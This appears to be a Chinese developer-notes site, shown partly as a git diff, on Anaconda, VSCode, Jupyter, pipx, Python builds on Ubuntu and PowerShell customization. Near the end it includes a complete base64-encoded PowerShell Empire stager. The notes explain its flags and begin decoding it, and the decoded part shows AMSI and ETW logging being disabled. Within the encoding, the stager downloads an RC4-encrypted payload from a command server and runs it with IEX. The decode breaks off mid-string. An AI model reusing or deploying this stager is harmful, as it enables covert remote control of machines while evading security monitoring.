conda 环境
退出当前虚拟环境
Conda clean 净化Anaconda - 简书 (jianshu.com)open in new window Anaconda conda常用命令:从入门到精通_chenxy_bwave的专栏-CSDN博客_conda常用命令open in new window Anaconda 官网open in new window 可在此处获取其他版本的安装包
Windows 需要注意的是, 使用 Anaconda Navigator 或者 conda 环境操作时需要关掉梯子, 否则可能会报 host 错误
安装包open in new window
Anaconda 官网open in new window 可在此处获取其他版本的安装包
需要注意的是 Anaconda 装完之后打开命令行总会自动进入 conda 环境, 可以通过更改 conda 配置来取消自动进入
conda config --set auto_activate_base false
+
如果想要设置自动进入的话将 false
改为 true
运行即可
安装完成后打开 Anaconda Navigator
:
Anaconda 换源 anaconda修改国内源 - 余者皆可 - 博客园 (cnblogs.com)open in new window
Anaconda 换国内源_scl52tg的博客-CSDN博客_conda 换源open in new window
新建一个 conda 环境 打开 Anaconda Navigator -> Environments
在环境列表底部按钮中找到 Create
并点击
为新环境命一个名(英文命名, 尽量简短些, 之后激活要用)
这里选择了 Python 3.8.13, 不上 3.9 或者 3.10 主要是因为有一些三方库更新没跟上, 不一定支持 python3.9 及以上
在命令行中使用 conda 环境可以使用如下指令激活:
Anaconda Navigator 升级 conda update conda -y
+conda update anaconda -y
+conda update anaconda-navigator -y
+
如果进行了换源操作记得在升级前恢复默认源, 否则可能会在镜像源中找不到更新包
conda config --remove-key channels
+
Ubuntu 如何在 Ubuntu 20.04 上安装 Anaconda - 云+社区 - 腾讯云 (tencent.com)open in new window Anaconda conda常用命令:从入门到精通_chenxy_bwave的专栏-CSDN博客_conda常用命令open in new window
+
+
+wget https://repo.anaconda.com/archive/Anaconda3-2022.05-Linux-x86_64.sh
+bash Anaconda3-2022.05-Linux-x86_64.sh
+
若出现 段错误 (核心已转储)
字样, 可以使用
wget https://repo.anaconda.com/archive/Anaconda3-2022.05-Linux-x86_64.sh
+
从断点处继续下载
长按 ENTER 阅读完条款
yes
选择安装路径, 默认为 /root/anaconda3
, 这个过程会比较长
yes, 执行初始化, 这将会将命令行工具 conda 添加到系统的 PATH 环境变量中。 不过想要激活 Anaconda,还需要关闭并且重新打开你的 shell 或者在当前 shell 会话中输入下面的命令,来重新加载 PATH 环境变量:
可以使用 conda --version
查看 Anaconda 版本
设置国内镜像
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/bioconda/
+
+conda config --add channels bioconda
+conda config --add channels conda-forge
+
+conda config --set show_channel_urls yes
+
创建一个名为 BigData
, python 版本为 3.9 的虚拟环境
conda create -n BigData python = 3.9
+
激活 BigData
虚拟环境
退出当前虚拟环境
Conda clean 净化Anaconda - 简书 (jianshu.com)open in new window Anaconda conda常用命令:从入门到精通_chenxy_bwave的专栏-CSDN博客_conda常用命令open in new window Anaconda 官网open in new window 可在此处获取其他版本的安装包
报错收集 check_hostname requires server_hostname
对于 Clash 而言可以打开此项配置
bpo-42627: Fix wrong parsing of Windows registry proxy settings by CrazyBoyFeng · Pull Request #26307 · python/cpython · GitHubopen in new windowopen in new window
开了之后就正常了:
各类 HTTPError
相关 我这边报错都是清华的源报错,换成阿里的源就没问题了(
ModuleNotFoundError: No module named 'pip._vendor....'
pip
出问题了在 CMD.exe Prompt
中执行 conda update pip
即可 VSCode VSCode 安装包open in new window
用于编辑与运行 python 程序, 选择 VSCode 主要是其比较轻量, 启动比较快, 用起来比较顺手, 且插件市场庞大, 对于许多语言都有插件支持, 按需下载
比起安装 python 解释器自带的 IDLE 友好许多, 又不会像 Pycharm 一样庞大/启动慢/占资源, 作为平时写点小脚本, 小玩意儿来说完全够用
扩展 汉化插件
Python 相关基础插件
jupyter 插件
使用 Jupyter 的好处在于可以边写笔记边写代码, 如下图所示, 在笔记中可以插入代码块并运行及显示
Markdown 插件
命令行插件 Terminal
用于在 VSCode 中打开 powershell 执行命令
Pylance 无法加载自定义模块 有时 Pylance 可能会识别不了 import 导入的自定义包, 此时需要设置 VScode Pylance 的 python.analysis.extraPaths
属性, 加上自定义包的所在目录
可以在设置中添加:
也可以直接在当前工作目录下新建一个 .vscode/settings.json
进行配置:
{
+ "python.analysis.extraPaths" : [
+ "/usr/local/python37/lib/python3.7/site-packages" ,
+ ]
+}
+
然后就可以 Pylance 正常加载相关包了
有时候可能仍旧索引不到相关模块, 那么可以将层级写深点, 不止于 site-packages
, 而是写到模块 py 文件所在目录
生成环境依赖 python 项目自动生成环境配置文件requirements.txt_凝眸伏笔的博客-CSDN博客open in new window
生成整个当前环境的依赖
pip freeze > requirements.txt
+
如果对项目使用了虚拟环境那么这会是一个生成项目依赖的不错的方法
生成当前项目的依赖
pip install pipreqs
+pipreqs .
+
Pycharm Pycharm 换源
实际上这里我用的 conda环境
,相应的也可以在 anaconda
中进行换源配置
快捷键 查找替换 Ctrl + R
替换Ctrl + Shift + R
全局替换无意中触发了TIM快捷键:``Ctrl+Alt+F`(文字识别)
创建文档注释脚本 导入自己的模块报红 参考文章open in new window 结论: 解决方案: File | Settings | Build, Execution, Deployment | Console | Python Console 勾选"Add source roots to PYTHONPAT" 当前程序根目录右键->“Mark Directory as”->“Sources Root” PEP8 代码规范检查 JupyterLab 接触 VSCode 的 Jupyter 插件后感觉还是 VSCode + Jupyter 比较好用, 一方面 VSCode 可以安装许多插件作为编码的辅助工具, 另一方面, 单个 .ipynb
文件也比较方便编辑
简介 JupyterLab,极其强大的下一代notebook!open in new window [原文链接]JupyterLab是Jupyter主打的最新数据科学生产工具,某种意义上,它的出现是为了取代Jupyter Notebook。不过不用担心Jupyter Notebook会消失,JupyterLab包含了Jupyter Notebook所有功能。 JupyterLab作为一种基于web的集成开发环境,你可以使用它编写notebook、操作终端、编辑markdown文本、打开交互模式、查看csv文件及图片等功能。 可以把JupyterLab当作一种究极进化版的Jupyter Notebook。原来的单兵作战,现在是空陆空联合协作。 Jupyter有如下特点 交互模式 :Python交互式模式可以直接输入代码,然后执行,并立刻得到结果,因此Python交互模式主要是为了调试Python代码用的内核支持的文档 :使你可以在可以在Jupyter内核中运行的任何文本文件(Markdown,Python,R等)中启用代码模块化界面 :可以在同一个窗口同时打开好几个notebook或文件(HTML, TXT, Markdown等等),都以标签的形式展示,更像是一个IDE镜像notebook输出 :让你可以轻易地创建仪表板同一文档多视图 :使你能够实时同步编辑文档并查看结果支持多种数据格式 :你可以查看并处理多种数据格式,也能进行丰富的可视化输出或者Markdown形式输出云服务 :使用Jupyter Lab连接Google Drive等服务,极大得提升生产力 使用 Anaconda自带,直接在Home
里Launch
即可
启动完之后会发现默认启动路径是电脑用户根目录
,可以将其改到一个自己觉得合适的目录,操作如下
pip install -i https://mirrors.aliyun.com/pypi/simple/ zmq
+
插件 插件推荐 @kiteco/jupyterlab-kite
快捷键 命令模式 (按键 Esc 开启) Enter
转入编辑模式
Shift-Enter
运行本单元,选中下个单元
Ctrl-Enter
运行本单元
Alt-Enter
运行本单元,在其下插入新单元
Y
单元转入代码状态
M
单元转入markdown状态
R
单元转入raw状态
1
设定 1 级标题
2
设定 2 级标题
3
设定 3 级标题
4
设定 4 级标题
5
设定 5 级标题
6
设定 6 级标题
Up
选中上方单元
K
选中上方单元
Down
选中下方单元
J
选中下方单元
Shift-K
扩大选中上方单元
Shift-J
扩大选中下方单元
A
在上方插入新单元
B
在下方插入新单元
X
剪切选中的单元
C
复制选中的单元
Shift-V
粘贴到上方单元
V
粘贴到下方单元
Z
恢复删除的最后一个单元
D,D
删除选中的单元
Shift-M
合并选中的单元
Ctrl-S
文件存盘
S
文件存盘
L
转换行号
O
转换输出
Shift-O
转换输出滚动
Esc
关闭页面
Q
关闭页面
H
显示快捷键帮助
I,I
中断Notebook内核
0,0
重启Notebook内核
Shift
忽略
Shift-Space
向上滚动
Space
向下滚动
编辑模式 ( Enter 键启动) Tab
代码补全或缩进
Shift-Tab
提示
Ctrl-]
缩进
Ctrl-[
解除缩进
Ctrl-A
全选
Ctrl-Z
复原
Ctrl-Shift-Z
再做
Ctrl-Y
再做
Ctrl-Home
跳到单元开头
Ctrl-Up
跳到单元开头
Ctrl-End
跳到单元末尾
Ctrl-Down
跳到单元末尾
Ctrl-Left
跳到左边一个字首
Ctrl-Right
跳到右边一个字首
Ctrl-Backspace
删除前面一个字
Ctrl-Delete
删除后面一个字
Esc
进入命令模式
Ctrl-M
进入命令模式
Shift-Enter
运行本单元,选中下一单元
Ctrl-Enter
运行本单元
Alt-Enter
运行本单元,在下面插入一单元
Ctrl-Shift
– 分割单元
Ctrl-Shift-Subtract
分割单元
Ctrl-S
文件存盘
Shift
忽略
Up
光标上移或转入上一单元
Down
光标下移或转入下一单元
更多JupyterLab快捷键参考open in new window
pipx pipx (pypa.github.io)open in new window
pypa/pipx: Install and Run Python Applications in Isolated Environments (github.com)open in new window
安装 pip install pipx --user pipx
+
提示需要将路径添加到 PATH, 这个可以让 pipx 来完成
首先 cd
到安装 pipx 的目录, 然后执行 ./pipx ensurepath
:
然后重启终端输入 pipx 看看有没有反馈信息
如果有回显信息:
那么说明成功了
如果没有的话则需要手动将 C:\Users\233\AppData\Roaming\Python\Python38\Scripts
(以我上面安装pipx的路径为例) 添加到环境变量的 PATH
变量中
概述 Pipx 是一个帮助您安装和运行用 Python 编写的最终用户应用程序的工具。它大致类似于 macOS 的 brew,JavaScript 的 npx,和 Linux 的 apt。
它与 pip 密切相关。实际上,它使用 pip,但是它专注于安装和管理可以从命令行直接作为应用程序运行的 Python 包。
pipx 与 pip 的区别 Pip 是一个通用的包安装程序,用于没有环境隔离的库和应用程序。
Pipx 是专门为应用程序安装而设计的,因为它增加了隔离性,但仍然使应用程序可以在外壳中使用: pipx 为每个应用程序及其相关包创建一个隔离的环境。
pipx 从什么地方安装 app 默认情况下,pipx 使用与 pip 相同的包索引 PyPI。Pipx 还可以从所有其他来源安装 pip can,比如本地目录、 wheel、 git url 等。
Python 和 PyPI 允许开发人员使用“控制台脚本入口点”分发代码。这些入口点允许用户从命令行调用 Python 代码,有效地起到独立应用程序的作用。
Pipx 是一个工具,用于以安全、方便和可靠的方式安装和运行这些数千个包含应用程序的软件包。在某种程度上,它把 pythonpackageindex (PyPI)变成了 Python 应用程序的大型应用程序商店。并不是所有的 Python 包都有入口点,但是很多都有。
ubuntu 16.04 安装 Python 3.8.12 成功了但没完全成功, 不打算再在 ubuntu 16.04 LTS 上整花活了.
PS: 2022-8-5: 成功了, 详见 [Ubuntu 16.04 LTS 配置Jupyter服务](#Ubuntu 16.04 LTS 配置Jupyter服务)
Ubuntu 16.04 安装 python3.8 - 老虎死了还有狼 - 博客园 (cnblogs.com)open in new window
PS: VSCode 用 Python Environment Manager
扩展获取最新 Python 环境也是可以的(推荐使用此项, 一键安装免配置, 懒人解法)
20220803 ubuntu16.04LTS Python Environment Managerv1.0.4 拉取最新 Python 装了个 3.9.13 的 conda 环境
ubuntu 16.04 默认自带 Python2.7 和 Python3.5, 可以通过whereis python
查看
这里选择 3.8.12 属于是保守了, 一方面考虑到 1604 有点老, 另一方面有些三方库也并没有跟上时代
配置依赖环境 apt-get install zlib1g-dev libbz2-dev libssl-dev libncurses5-dev libsqlite3-dev
+
下载 Python3.8.12 压缩包并解压 wget https://www.python.org/ftp/python/3.8.12/Python-3.8.12.tar.xz
+
+tar -xf Python-3.8.12.tar.xz
+
+cd Python-3.8.12
+
+./configure prefix = /usr/local/python3
+make && make install
+
+mv /usr/bin/python /usr/bin/python.bak
+
+ln -s /usr/local/python3/bin/python3 /usr/bin/python
+
+python -V
+
+python -m pip install --upgrade pip
+
+pip -V
+
Ubuntu 16.04 LTS 配置Jupyter服务 实验环境
: windows 10 使用 root 用户 远程 ubuntu 16.04 LTS 虚拟机
直接使用 VSCode 的 Python Environment Manager
扩展获取最新 conda 环境
激活当前 conda 环境 conda activate xxx
安装 jupyter
套件
pip install jupyter
+pip install jupyterlab
+pip install notebook
+
打开 VScode 的 settings.json
,加上
"jupyter.jupyterCommandLineArguments" : [
+ "--allow-root"
+ ] ,
+
报错收集 ERROR: Could not install packages due to an Environment Python Failed to write executable - trying to use .deleteme logic 解决方法 | 烟雨平生 (i007it.com)open in new window
如果在 VSCode 中的终端中运行安装库的命令出现类似于如下报错
ERROR: Could not install packages due to an Environment: [WinError 2] 系统找不到指定的文件 : xxxxxxxxx - > xxxxx\\pythonxx\\Scripts\\xxx. exe. deleteme
+
那么就是权限问题, 请使用管理员方式打开 VSCode
上一页
QuickStart
下一页
Note-python
+
+
+
diff --git a/Language/Shell/Powershell/index.html b/Language/Shell/Powershell/index.html
new file mode 100644
index 0000000000..580e74d601
--- /dev/null
+++ b/Language/Shell/Powershell/index.html
@@ -0,0 +1,251 @@
+
+
+
+
+
+
+
+ Powershell | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Powershell 版本信息 $PSVersionTable
+$PSVersionTable . PSVersion
+
Powershell 7 Releases · PowerShell/PowerShell (github.com)open in new window
在 Windows 上安装 PowerShell - PowerShell | Microsoft Docsopen in new window
从 Windows PowerShell 5.1 迁移到 PowerShell 7 - PowerShell | Microsoft Docsopen in new window
PowerShell 7 是专为云、本地和混合环境设计的,它包含增强功能和新功能open in new window 。
与 Windows PowerShell 并行安装和运行 提升了与现有 Windows PowerShell 模块的兼容性 新语言功能(如三元运算符和 ForEach-Object -Parallel
) 提高了性能 基于 SSH 的远程处理 跨平台互操作性 支持 Docker 容器 PowerShell 7 与 Windows PowerShell 并行运行,可便于你在部署前轻松地测试和比较各个版本。 迁移简单、快捷、安全,
以下 Windows 操作系统支持 PowerShell 7:
Windows 8.1、10 和 11 Windows Server 2012、2012 R2、2016 和 2019 PowerShell 7 还在 macOS 和多个 Linux 发行版本上运行。 若要获取受支持操作系统的列表,并了解支持生命周期,请参阅 PowerShell 支持生命周期open in new window 。
PowerShell 7 默认安装路径为 C:\Program Files\PowerShell\
网络 代理
+$env :HTTP_PROXY="http://127.0.0.1:7890"
+$env :HTTPS_PROXY="http://127.0.0.1:7890"
+
域名解析 Resolve-DnsName www. bing. com
+
主题 Oh My Posh Home | Oh My Poshopen in new window
A prompt theme engine for any shell.
Quick Start For Windows 首先 在 Windows 上安装 PowerShell7 - PowerShell | Microsoft Learnopen in new window , 默认的 Powershell5 不支持主题中的一些语法
使用 winget
安装 OhMyPosh
:
由于要到 github 获取资源, 因此挂代理会快些, 以本地 7890 端口有代理为例, 可以在 powershell 中临时设置代理配置:
$env :HTTP_PROXY="http://127.0.0.1:7890"
+$env :HTTPS_PROXY="http://127.0.0.1:7890"
+
然后使用 winget
安装 OhMyPosh
winget install JanDeDobbeleer. OhMyPosh - s winget
+
安装一个支持的字体, 如 MesloLGSNFopen in new window
官方文档中使用 oh-my-posh font install
选择字体进行安装, 不过我安装后进行配置时总是找不到字体, 最终使用 MESLOLGS NF
成功进行了配置
然后在 Powershell 中使用快捷键 Ctrl+Shift+,
调起配置文件, 在 profiles
中的 defaults
属性下添加 font.face
属性
"font" :
+ {
+ "face" : "MesloLGS NF"
+ }
+
添加并保存后会自动弹回到打开的 Powershell 窗口, 不报错就说明成功用上了字体
对于 VSCode 而言, VSCode 调起的终端中的字体配置还需要在 VSCode 的配置项中配下
接下来编辑 powershell 配置文件配置默认使用 OhMyPosh
在配置中加上如下语句
oh-my-posh init pwsh | Invoke-Expression
+
这样即可成功让 powershell 使用上 OhMyPosh
配置主题
可以在 Themes | Oh My Poshopen in new window 查看 OhMyPosh 中支持的主题
或者使用如下命令直接在 Powershell 中预览主题
记得及时 Ctrl + C
, 不然会拖很长, 毕竟主题挺多的
在 Powershell 中预览主题时, 主题的名字是超链接, 可以通过 Ctrl + 鼠标点击的形式编辑该主题配置文件
然后编辑 Powershell 配置文件, 配置 OhMyPosh 的主题
添加如下命令
oh-my-posh init pwsh -- config '主题json路径' | Invoke-Expression
+
然后重启 Powershell/VSCode 窗口即可看到 Powershell 加载了 OhMyPosh 及设定的主题
需要注意的是如果是默认的 powershell5 的话, 加载主题可能会报错, 且每次打开 powershell 窗口均会报错, 因此建议直接升级到 powershell7
可以通过如下命令查看 powershell 版本
目标目录文件变动监控备份
+$targetDir = "E:\temp\testDir"
+
+$logFile = ".\log.txt"
+
+$cacheDir = ".\monitor_cache"
+if ( ! ( Test-Path $cacheDir ) ) {
+ New-Item - ItemType Directory - Force - Path $cacheDir
+}
+Write-Host $cacheDir "created for cache files"
+
+
+$watcher = New-Object System. IO. FileSystemWatcher
+$watcher . Path = $targetDir
+$watcher . IncludeSubdirectories = $true
+$watcher . EnableRaisingEvents = $true
+
+
+$commonAction = {
+
+ $path = $Event . SourceEventArgs. FullPath
+ $changeType = $Event . SourceEventArgs. ChangeType
+
+ $date = Get-Date - Format "yyyy-MM-dd HH:mm:ss"
+
+ $log = "$date File $path was $changeType "
+
+ Write-Host $log
+
+ Add-Content $logFile $log
+
+
+ if ( ! ( Test-Path $path - PathType Container) -and ( $changeType -ne "Deleted" ) ) {
+
+ $newPath = $cacheDir + "\" + ( $date + "_" + $changeType + "_" + $path . Replace( $targetDir , "" ) ) . Replace( ":" , "-" ) . Replace( " " , "_" ) . Replace( "\" , "_" )
+ Copy-Item $path $newPath
+ }
+}
+
+
+$eventTypes = @( "Created" , "Changed" , "Deleted" , "Renamed" )
+foreach ( $eventType in $eventTypes ) {
+ Register-ObjectEvent $watcher $eventType - Action $commonAction
+}
+
+
+try {
+ while ( $true ) {
+ Start-Sleep 1
+ }
+}
+finally {
+
+ $watcher . Dispose( )
+}
+
+
powershell empire 上线命令 powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATQBBAEEAdQBBAEQARQBBAEwAZwBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATwBnAEEANQBBAEQAQQBBAE8AUQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAEgAdQB2ACwAMwBnAHQAcwBjAH0AIwBfAEUAOgBmAEYAWAB3AG4AMgBiAFUAUABWAHwAaQBNAGUAMAArADUAUgAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAYwBIAEcAQQBmAGQATABaAEQAQwBFAHQATABNAEsAPQBsAEwAcQA4AFUAdwBpAEUAdQB6AHYASQBRAEQANABqADcAcAA2AEkASgBzAGgAaQBpADEARQA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
+
powershell
:表示调用 PowerShell 程序。-noP
:表示不加载配置文件。包括启动时加载的个人配置文件(Profile)和系统级别的配置文件。使用此参数可以在启动 PowerShell 时跳过配置文件的加载,加快启动速度。-sta
:Single Threaded Apartment
表示使用单线程的会话模式。-w 1
:等待指定的时间(以秒为单位)后自动退出 PowerShell。在这里,-w 1
表示等待 1 秒后自动退出 PowerShell。-enc
:表示后面跟着的是一个 Base64 编码的字符串,需要解码后执行。上述 Base64 编码的字符串解码后得到:
"I\u0000f\u0000(\u0000$\u0000P\u0000S\u0000V\u0000e\u0000r\u0000s\u0000i\u0000o\u0000n\u0000T\u0000a\u0000b\u0000l\u0000e\u0000.\u0000P\u0000S\u0000V\u0000e\u0000r\u0000s\u0000i\u0000o\u0000n\u0000.\u0000M\u0000a\u0000j\u0000o\u0000r\u0000 \u0000-\u0000g\u0000e\u0000 \u00003\u0000)\u0000{\u0000$\u0000R\u0000e\u0000f\u0000=\u0000[\u0000R\u0000e\u0000f\u0000]\u0000.\u0000A\u0000s\u0000s\u0000e\u0000m\u0000b\u0000l\u0000y\u0000.\u0000G\u0000e\u0000t\u0000T\u0000y\u0000p\u0000e\u0000(\u0000'\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000M\u0000a\u0000n\u0000a\u0000g\u0000e\u0000m\u0000e\u0000n\u0000t\u0000.\u0000A\u0000u\u0000t\u0000o\u0000m\u0000a\u0000t\u0000i\u0000o\u0000n\u0000.\u0000A\u0000m\u0000s\u0000i\u0000U\u0000t\u0000i\u0000l\u0000s\u0000'\u0000)\u0000;\u0000$\u0000R\u0000e\u0000f\u0000.\u0000G\u0000e\u0000t\u0000F\u0000i\u0000e\u0000l\u0000d\u0000(\u0000'\u0000a\u0000m\u0000s\u0000i\u0000I\u0000n\u0000i\u0000t\u0000F\u0000a\u0000i\u0000l\u0000e\u0000d\u0000'\u0000,\u0000'\u0000N\u0000o\u0000n\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000,\u0000S\u0000t\u0000a\u0000t\u0000i\u0000c\u0000'\u0000)\u0000.\u0000S\u0000e\u0000t\u0000v\u0000a\u0000l\u0000u\u0000e\u0000(\u0000$\u0000N\u0000u\u0000l\u0000l\u0000,\u0000$\u0000t\u0000r\u0000u\u0000e\u0000)\u0000;\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000D\u0000i\u0000a\u0000g\u0000n\u0000o\u0000s\u0000t\u0000i\u0000c\u0000s\u0000.\u0000E\u0000v\u0000e\u0000n\u0000t\u0000i\u0000n\u0000g\u0000.\u0000E\u0000v\u0000e\u0000n\u0000t\u0000P\u0000r\u0000o\u0000v\u0000i\u0000d\u0000e\u0000r\u0000]\u0000.\u0000G\u0000e\u0000t\u0000F\u0000i\u0000e\u0000l\u0000d\u0000(\u0000'\u0000m\u0000_\u0000e\u0000n\u0000a\u0000b\u0000l\u0000e\u0000d\u0000'\u0000,\u0000'\u0000N\u0000o\u0000n\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000,\u0000I\u0000n\u0000s\u0000t\u0000a\u0000n\u0000c\u0000e\u0000'\u0000)\u0000.\u0000S\u0000e\u0000t\u0000V\u0000a\u0000l\u0000u\u0000e\u0000(\u0000[\u0000R\u0000e\u0000f\u0000]\u0000.\u0000A\u0000s\u0000s\u0000e\u0000m\u0000b\u0000l\u0000y\u0000.\u0000G\u0000e\u0000t\u0000T\u0000y\u0000p\u0000e\u0000(\u0000'\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000M\u0000a\u0000n\u0000a\u0000g\u0000e\u0000m\u0000e\u0000n\u0000t\u0000.\u0000A\u0000u\u0000t\u0000o\u0000m\u0000a\u0000t\u0000i\u0000o\u0000n\u0000.\u0000T\u0000r\u0000a\u0000c\u0000i\u0000n\u0000g\u0000.\u0000P\u0000S\u0000E\u0000t\u0000w\u0000L\u0000o\u0000g\u0000P\u0000r\u0000o\u0000v\u0000i\u0000d\u0000e\u0000r\u0000'\u0000)\u0000.\u0000G\u0000e\u0000t\u0000F\u0000i\u0000e\u0000l\u0000d\u0000(\u0000'\u0000e\u0000t\u0000w\u0000P\u0000r\u0000o\u0000v\u0000i\u0000d\u0000e\u0000r\u0000'\u0000,\u0000'\u0000N\u0000o\u0000n\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000,\u0000S\u0000t\u0000a\u0000t\u0000i\u0000c\u0000'\u0000)\u0000.\u0000G\u0000e\u0000t\u0000V\u0000a\u0000l\u0000u\u0000e\u0000(\u0000$\u0000n\u0000u\u0000l\u0000l\u0000)\u0000,\u00000\u0000)\u0000;\u0000}\u0000;\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000S\u0000e\u0000r\u0000v\u0000i\u0000c\u0000e\u0000P\u0000o\u0000i\u0000n\u0000t\u0000M\u0000a\u0000n\u0000a\u0000g\u0000e\u0000r\u0000]\u0000:\u0000:\